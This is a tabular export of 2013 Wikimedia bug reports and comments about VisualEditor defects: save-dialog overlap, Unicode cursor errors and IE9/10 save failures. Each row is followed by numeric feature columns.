+51275,"VisualEditor: Phantoms appear above the save dialog, preventing saving","**Author:** `swalling`
+
+**Description:**
+Screenshot
+
+In attempting to test (as anon) on the MediaWiki.org sandbox, the page header template overlaps the diff and save functions, preventing me from saving my edit.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49361
+
+**Attached**: {F11481}",High,80.0,1370553900,1371766465.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-io3sncftadpkbmrqampw,task_description,resolved,True,c1,2,False,False,True,-4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0
+243794,"VisualEditor: Phantoms appear above the save dialog, preventing saving",Merged and will go out later today.,,,1371766465,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-io3sncftadpkbmrqampw,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+243790,"VisualEditor: Phantoms appear above the save dialog, preventing saving",Related URL: https://gerrit.wikimedia.org/r/69614 (Gerrit Change I2fbc4c8af943f1b096b8912191924961405d5c47),,,1371688627,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-io3sncftadpkbmrqampw,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+243787,"VisualEditor: Phantoms appear above the save dialog, preventing saving","Just a note that this also happens with editable elements like images, as their blue overlay extends on top of the VE menu bar.",,,1371652418,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-io3sncftadpkbmrqampw,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+243782,"VisualEditor: Phantoms appear above the save dialog, preventing saving","Instead of an arms race between z-index, the much easier solution would be to ensure the DOM structure of these two elements are nested properly so that their natural order is correct. z-index can be used to adjust display, but it is not capable (by design) to transcend the relative DOM position.
+
+I haven't tested the following so this exact example could be wrong, but generally it means that in the following sample:
+
+ <div style=""position: relative;"" id=""foo""> </div> 
+ <div style=""position: relative;"" id=""bar""> </div> 
+
+
+Naturally #bar will be on top of #foo as it comes later in the DOM. Though #foo and #bar can be interchanged at the root (through their common parent), any child of #bar will always be on top of any child of #foo.
+
+So not only is DOM ordering easier to manage (due to not having to worry about conflicting numbers), in some cases it is the only way.
+
+I'll see what the easier way to fix this is, we can perfect it later if suboptimal.",,,1370850847,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-io3sncftadpkbmrqampw,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+243777,"VisualEditor: Phantoms appear above the save dialog, preventing saving","And I had a similar issue attempting to save a page with an (uneditable) InfoBox on the right hand side. Luckily a simple workaround for the moment is to scroll down!
+
+Obviously the proper solution is to ensure the zorder of the ""Review your changes"" and ""Save your changes""/""Report a problem"" is above the ""phantoms"".",,,1370776701,,PHID-USER-fgul5wwrgbtdpd5fved3,False,,,PHID-TASK-io3sncftadpkbmrqampw,task_subcomment,,True,c1,2,False,,,-4,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+243770,"VisualEditor: Phantoms appear above the save dialog, preventing saving","Whoops, thanks for the spot, Steven!",,,1370554710,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-io3sncftadpkbmrqampw,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+51260,"VisualEditor: Add a temporary option to have section edit links go to wikitext editor, not VisualEditor","Necessary for beta rollout. Wording needs to be smithed carefully to ensure that it's clear that this is a temporary option.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",High,80.0,1370536440,1371161777.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-a7khjsiws3kuhgw3dtj5,task_description,resolved,True,c1,2,True,False,True,-4,,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+242743,"VisualEditor: Add a temporary option to have section edit links go to wikitext editor, not VisualEditor",Done and deployed.,,,1371161777,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-a7khjsiws3kuhgw3dtj5,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+242735,"VisualEditor: Add a temporary option to have section edit links go to wikitext editor, not VisualEditor",Related URL: https://gerrit.wikimedia.org/r/68569 (Gerrit Change I5ce7ea8c1e47e8243b619fc61aa957f767d22b48),,,1371161078,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-a7khjsiws3kuhgw3dtj5,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+51246,VisualEditor: [Regression] Arrow keying around multibyte unicode characters fails after an inline node,"For example in the second line of the multibyte.html test file in the standalone demo (after '<tt>香港</tt>' [Hong Kong])
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1370520480,1370969172.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-vtupkd2hzxpp7w3fyltw,task_description,resolved,True,c1,2,True,False,True,-4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+242021,VisualEditor: [Regression] Arrow keying around multibyte unicode characters fails after an inline node,Above fixed is merged and will go out with wmf7 from Thursday.,,,1370969172,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vtupkd2hzxpp7w3fyltw,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+242018,VisualEditor: [Regression] Arrow keying around multibyte unicode characters fails after an inline node,Related URL: https://gerrit.wikimedia.org/r/67971 (Gerrit Change Iff1dfb90130685bb710821f8386cfa2f296f2f95),,,1370954363,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vtupkd2hzxpp7w3fyltw,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+51233,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,"Visual Editor doesn't behave correctly when editing and adding text with combining diacritics.
+
+For example insert the text ""ɛ́"" (ɛ is character U+025B, combining acute is U+0301).
+When the cursor is behind ""ɛ́"":
+- pushing the left arrow doesn't move the cursor
+- adding text like ""ɛ́abcdef"" is fine but:
+  - pushing backspace gives ""ɛ́abcda"" instead of expected ""ɛ́abcde""
+  - pushing return ives ""ɛ́abcde\na""
+
+Some languages require combining diacritics, many keyboard layouts allow their input or user can insert them by copying and pasting from somewhere else.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51472",High,80.0,1370504280,1371844259.0,PHID-USER-i5at67w766dqxs6ncxam,False,,False,PHID-TASK-3tfgena4tsev5hzwqh7g,task_description,resolved,True,c1,2,False,False,True,-4,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,1,1,0,0,1
+241544,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,"(In reply to comment #10)
+> I believe this is related (or a dupe?) of this:
+> https://bugzilla.wikimedia.org/show_bug.cgi?id=51472
+
+Related but not a dupe, I think; adding a see-also.",,,1374157250,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+241539,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,I believe this is related (or a dupe?) of this: https://bugzilla.wikimedia.org/show_bug.cgi?id=51472,,,1374125073,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0
+241532,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,"Great! It works as it should now.
+Thanks a lot!",,,1374124846,,PHID-USER-i5at67w766dqxs6ncxam,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+241523,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,Now fixed and will be deployed very soon; sorry for this.,,,1371844259,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,2,True,,,-2,,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+241516,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,Related URL: https://gerrit.wikimedia.org/r/69814 (Gerrit Change If9c0860e2fe7b01eb0b27aae67c671062799a0fa),,,1371771158,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+241507,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,"Yes, this is still reproduceable on Chrome and Firefox on Ubuntu, Chrome, Firefox and Safari on OS X, Chrome, Firefox, IE on Windows 8.
+The steps I tried on http://en.wikipedia.org/wiki/User:ESanders_(WMF)/Sandbox are :
+- move cursor to end of ""ɛ́abcdef""
+- type g
+- press return
+result: ""ɛ́abcdeff"" and new line instead of expected ""ɛ́abcdefg"" and new line.",,,1371444604,,PHID-USER-i5at67w766dqxs6ncxam,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+241497,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,"Denis, can you still reproduce (and if so, where and with what browser/system)?",,,1371162059,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+241488,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,"Can't reproduce in master or live, except for a bug where if I select all then paste an exception is thrown (but that is unrelated).
+
+
+See:
+http://en.wikipedia.org/wiki/User:ESanders_(WMF)/Sandbox",,,1371159350,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+241481,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,Reopening and assigning.,,,1371154520,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0
+241477,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,"Yes this is still reproduceable on en.wikipedia.org or fr.wikipedia.org as well as www.mediawiki.org. I guess ""on the cluster everywhere as of yesterday"" means the bug 48630 is fixed so this is not a duplicate.
+Or is there a specific place I should try to reproduce the bug on where this has been fixed?
+
+Quickly looking at bug 48630 it seems the behaviour described here is different, although the solution to 48630 might fix this one, just not the current solution.
+
+Furthermore there are other broken behaviours.
+- In some situations the line following ""ɛ́"" would just be duplicated every unknown time interval until the input cursor is moved.
+- If the ""ɛ́"" is in the middle of a line, some following characters are duplicated each interval with or without the combining diacritic on them.
+- If inputing two base characters with each a combining character, an unexpected next line return is produce when finishing the sequence.
+- When moving the cursor past the base character with the combining character, the cursor jumps to the next line even if there are still characters on the current (actually now previous) line.",,,1370582711,,PHID-USER-i5at67w766dqxs6ncxam,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,2,False,,,-4,,1,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,1,1,0,1,1,1,1,1,1,0,0,1
+241472,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,"This appears to be a duplicate of an already-fixed bug (bug 48630), which is live on the cluster everywhere as of yesterday. Can you reproduce this now, and if so, on what wiki? Support for graphemes like this is important for us, as you can imagine, and it's worrying to hear that it's not working?
+
+*** This bug has been marked as a duplicate of bug 48630 ***",,,1370531722,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,1,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,1,1,1,0,0,0
+51187,VisualEditor: IE9/10 incompatibilities with saving process,"grey text, no diff appears after Review and save
+
+Seen in IE9 and below, works OK in FF and Chrome: 
+
+Make an edit with VE
+Click Review and save
+
+Page text is greyed out; no diff appears; Review and save button remains clickable; user cannot complete edit
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11329}",High,80.0,1370450340,1409960073.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-wgabwxsulvcboqwjus4t,task_description,resolved,True,c1,1,False,False,False,-4,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+238982,VisualEditor: IE9/10 incompatibilities with saving process,This is working for me now: I saved https://www.mediawiki.org/w/index.php?title=User:Catrope%2FSandbox&diff=1137641&oldid=740030 in IE10.,,,1409958443,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-wgabwxsulvcboqwjus4t,task_subcomment,,True,c1,3,False,,,61,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0
+238977,VisualEditor: IE9/10 incompatibilities with saving process,*a user,,,1377104818,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-wgabwxsulvcboqwjus4t,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+238969,VisualEditor: IE9/10 incompatibilities with saving process,"An user reports:
+<<I just got a Edit beta tab on The Adventure of the Reigate Squire, even though I'm in IE 10. What's weirder is that this is the only page where I've seen a VE tab. Also, I can't make any edits with it: I changed a few words in one sentence and added an edit summary, but the thing's just hanging there. I got a message of Warning: Your edit may have been corrupted – please review before saving. However, I've been unable to find anything corrupt, even though I reviewed everything that I'd done. Nothing of WP:EF came up, either. 2001:18E8:2:1020:202A:8DD6:6403:B77 (talk) 16:25, 21 August 2013 (UTC)
+
+After several minutes of fruitless waiting, I gave up and reloaded the page. I then tried to add Category:Reigate and Banstead to the article (it's where the story is set), but after typing an edit summary of ""Add category"", I was forced to see that it's just been hanging there again. 2001:18E8:2:1020:202A:8DD6:6403:B77 (talk) 16:30, 21 August 2013 (UTC) >>
+
+Is this due to some tests or deployment sanity checks? Thanks.",,,1377104779,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-wgabwxsulvcboqwjus4t,task_subcomment,,True,c1,3,False,,,7,,1,1,0,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+238962,VisualEditor: IE9/10 incompatibilities with saving process,*** Bug 50086 has been marked as a duplicate of this bug. ***,,,1372084871,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wgabwxsulvcboqwjus4t,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+238956,VisualEditor: IE9/10 incompatibilities with saving process,Relabelling; this is a blocker to IE9/10 use.,,,1372037486,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wgabwxsulvcboqwjus4t,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+238950,VisualEditor: IE9/10 incompatibilities with saving process,IE10 exhibits the same behaviour.,,,1372032122,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wgabwxsulvcboqwjus4t,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+238944,VisualEditor: IE9/10 incompatibilities with saving process,Related URL: https://gerrit.wikimedia.org/r/70108 (Gerrit Change I2ee2e33c89cac58863c9911fc3ad250c72a46206),,,1372031261,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wgabwxsulvcboqwjus4t,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+238938,VisualEditor: IE9/10 incompatibilities with saving process,"I can consistently reproduce:
+
+* Saving the page results in an uncaught exception ""Permissions denied"" originating from ve.bind -> $.proxy -> line ""proxy = function () { return fn.apply( ..""
+  Presumably this is caused by IE9 (undocumented?) non-standard security model
+  that rejects certain interaction between functions originating from different
+  http requests (regardless of the origin, e.g. in this case they're both from
+  load.php on the local wiki, no CDN involved)
+
+* Generating a diff (""Review changes"") has a silent failure, no notification
+  is emitted that allows us to hide the spinner or display an error message.",,,1372031200,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wgabwxsulvcboqwjus4t,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+238933,VisualEditor: IE9/10 incompatibilities with saving process,IE8 and below aren't supported at all (and you shouldn't ever manage to get to use VE with them); assigning.,,,1370534281,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wgabwxsulvcboqwjus4t,task_subcomment,,True,c1,2,True,,,-4,,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+51091,VisualEditor: Arrow keying off end of throws an exception,"* Move cursor to start/end of document
+* Press left (start) or right (end)
+* An exception is thrown by handleLeftOrRightArrowKey
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1370295780,1370447615.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-b63g5k3ztoignbyr5s5w,task_description,resolved,True,c1,1,True,False,True,-4,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
